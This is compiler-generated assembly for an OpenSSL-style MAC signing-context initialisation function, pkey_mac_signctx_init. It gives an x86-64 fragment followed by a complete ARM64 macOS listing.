%eax, %esi callq _EVP_MAC_is_a testl %eax, %eax je LBB0_11 ## %bb.3: movq %r12, %rdi callq _EVP_PKEY_CTX_get0_pkey movl %eax, %edi callq _EVP_PKEY_get0 testq %rax, %rax je LBB0_11 ## %bb.4: movq %rax, %r12 movb $1, %r14b jmp LBB0_7 LBB0_5: xorl %r14d, %r14d LBB0_6: xorl %r12d, %r12d LBB0_7: movq _EVP_MD_CTX_FLAG_NO_INIT@GOTPCREL(%rip), %r13 movl (%r13), %esi movq %r15, %rdi callq _EVP_MD_CTX_set_flags movq _int_update@GOTPCREL(%rip), %rax movl (%rax), %esi movq %r15, %rdi callq _EVP_MD_CTX_set_update_fn movl (%r13), %esi notl %esi movq %r15, %rdi callq _EVP_MD_CTX_test_flags movl %eax, -64(%rbp) movq _OSSL_MAC_PARAM_FLAGS@GOTPCREL(%rip), %rax movl (%rax), %edi leaq -64(%rbp), %rsi callq _OSSL_PARAM_construct_int movl %eax, -60(%rbp) testb %r14b, %r14b je LBB0_9 ## %bb.8: movq _OSSL_MAC_PARAM_KEY@GOTPCREL(%rip), %rax movl (%rax), %edi movl (%r12), %edx movl 4(%r12), %esi callq _OSSL_PARAM_construct_octet_string movl %eax, -64(%rbp) leaq -60(%rbp), %r14 jmp LBB0_10 LBB0_9: leaq -64(%rbp), %r14 LBB0_10: xorl %eax, %eax callq _OSSL_PARAM_construct_end movl %eax, (%r14) movl 8(%rbx), %edi leaq -60(%rbp), %rsi callq _EVP_MAC_CTX_set_params movl %eax, %r14d LBB0_11: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_13 ## %bb.12: movl %r14d, %eax addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_13: callq ___stack_chk_fail .cfi_endproc ## -- End function .comm _MAC_TYPE_RAW,8,3 ## @MAC_TYPE_RAW .comm _EVP_PKEY_FLAG_SIGCTX_CUSTOM,4,2 ## @EVP_PKEY_FLAG_SIGCTX_CUSTOM .comm _EVP_MD_CTX_FLAG_NO_INIT,4,2 ## @EVP_MD_CTX_FLAG_NO_INIT .comm _int_update,4,2 ## @int_update .comm _OSSL_MAC_PARAM_FLAGS,4,2 ## @OSSL_MAC_PARAM_FLAGS .comm _OSSL_MAC_PARAM_KEY,4,2 ## @OSSL_MAC_PARAM_KEY .no_dead_strip _pkey_mac_signctx_init .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function pkey_mac_signctx_init _pkey_mac_signctx_init: ; @pkey_mac_signctx_init .cfi_startproc ; %bb.0: sub sp, sp, #96 stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x20, x1 mov x21, x0 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] str x8, [sp, #24] bl _EVP_PKEY_CTX_get_data mov x19, x0 ldr x8, [x0] Lloh3: adrp x9, _MAC_TYPE_RAW@GOTPAGE Lloh4: ldr x9, [x9, _MAC_TYPE_RAW@GOTPAGEOFF] Lloh5: ldr x9, [x9] cmp x8, x9 b.ne LBB0_5 ; %bb.1: ldr x8, [x21] ldr w8, [x8] Lloh6: adrp x9, _EVP_PKEY_FLAG_SIGCTX_CUSTOM@GOTPAGE Lloh7: ldr x9, [x9, _EVP_PKEY_FLAG_SIGCTX_CUSTOM@GOTPAGEOFF] Lloh8: ldr w9, [x9] orr w8, w9, w8 cbz w8, LBB0_5 ; %bb.2: ldr w0, [x19, #8] bl _EVP_MAC_CTX_mac mov x22, x0 mov x0, x21 bl _EVP_PKEY_CTX_get0_pkey bl _EVP_PKEY_id bl _OBJ_nid2sn mov x1, x0 mov x0, x22 bl _EVP_MAC_is_a cbz w0, LBB0_10 ; %bb.3: mov x0, x21 bl _EVP_PKEY_CTX_get0_pkey bl _EVP_PKEY_get0 cbz x0, LBB0_10 ; %bb.4: mov x21, x0 mov w22, #1 ; =0x1 b LBB0_6 LBB0_5: mov w22, #0 ; =0x0 mov x21, #0 ; =0x0 LBB0_6: Lloh9: adrp x23, _EVP_MD_CTX_FLAG_NO_INIT@GOTPAGE Lloh10: ldr x23, [x23, _EVP_MD_CTX_FLAG_NO_INIT@GOTPAGEOFF] ldr w1, [x23] mov x0, x20 bl _EVP_MD_CTX_set_flags Lloh11: adrp x8, _int_update@GOTPAGE Lloh12: ldr x8, [x8, _int_update@GOTPAGEOFF] Lloh13: ldr w1, [x8] mov x0, x20 bl _EVP_MD_CTX_set_update_fn ldr w8, [x23] mvn w1, w8 mov x0, x20 bl _EVP_MD_CTX_test_flags str w0, [sp, #8] Lloh14: adrp x8, _OSSL_MAC_PARAM_FLAGS@GOTPAGE Lloh15: ldr x8, [x8, _OSSL_MAC_PARAM_FLAGS@GOTPAGEOFF] Lloh16: ldr w0, [x8] add x1, sp, #8 bl _OSSL_PARAM_construct_int str w0, [sp, #12] cbz w22, LBB0_8 ; %bb.7: Lloh17: adrp x8, _OSSL_MAC_PARAM_KEY@GOTPAGE Lloh18: ldr x8, [x8, _OSSL_MAC_PARAM_KEY@GOTPAGEOFF] Lloh19: ldr w0, [x8] ldp w2, w1, [x21] bl _OSSL_PARAM_construct_octet_string stur w0, [sp, #8] add x20, sp, #12 b LBB0_9 LBB0_8: add x8, sp, #12 sub x20, x8, #4 LBB0_9: bl _OSSL_PARAM_construct_end str w0, [x20] ldr w0, [x19, #8] add x1, sp, #12 bl _EVP_MAC_CTX_set_params LBB0_10: ldr x8, [sp, #24] Lloh20: adrp x9, ___stack_chk_guard@GOTPAGE Lloh21: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh22: ldr x9, [x9] cmp x9, x8 b.ne LBB0_12 ; %bb.11: ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload add sp, sp, #96 ret LBB0_12: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16 .loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13 .loh AdrpLdrGot Lloh9, Lloh10 .loh AdrpLdrGotLdr Lloh17, Lloh18, Lloh19 .loh AdrpLdrGotLdr Lloh20, Lloh21, Lloh22 .cfi_endproc ; -- End function .comm _MAC_TYPE_RAW,8,3 ; @MAC_TYPE_RAW .comm _EVP_PKEY_FLAG_SIGCTX_CUSTOM,4,2 ; @EVP_PKEY_FLAG_SIGCTX_CUSTOM .comm _EVP_MD_CTX_FLAG_NO_INIT,4,2 ; @EVP_MD_CTX_FLAG_NO_INIT .comm _int_update,4,2 ; @int_update .comm _OSSL_MAC_PARAM_FLAGS,4,2 ; @OSSL_MAC_PARAM_FLAGS .comm _OSSL_MAC_PARAM_KEY,4,2 ; @OSSL_MAC_PARAM_KEY .no_dead_strip _pkey_mac_signctx_init .subsections_via_symbols